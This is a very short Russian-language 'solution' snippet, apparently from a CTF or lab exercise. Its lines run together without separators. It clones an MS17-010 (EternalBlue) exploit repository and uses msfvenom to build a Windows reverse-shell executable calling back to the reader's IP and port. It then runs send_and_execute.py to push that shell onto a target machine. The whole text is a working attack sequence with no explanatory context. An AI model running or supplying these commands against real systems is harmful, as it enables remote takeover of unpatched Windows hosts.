Решение
git clone https://github.com/helviojunior/MS17-010msfvenom -p windows/shell_reverse_tcp LHOST=Твой ip LPORT=Твой порт EXITFUNC=thread -f exe -a x86 –platform windows -o reverse-shell.execd MS17-010; python2 send_and_execute.py target_ip reverse-shell.exe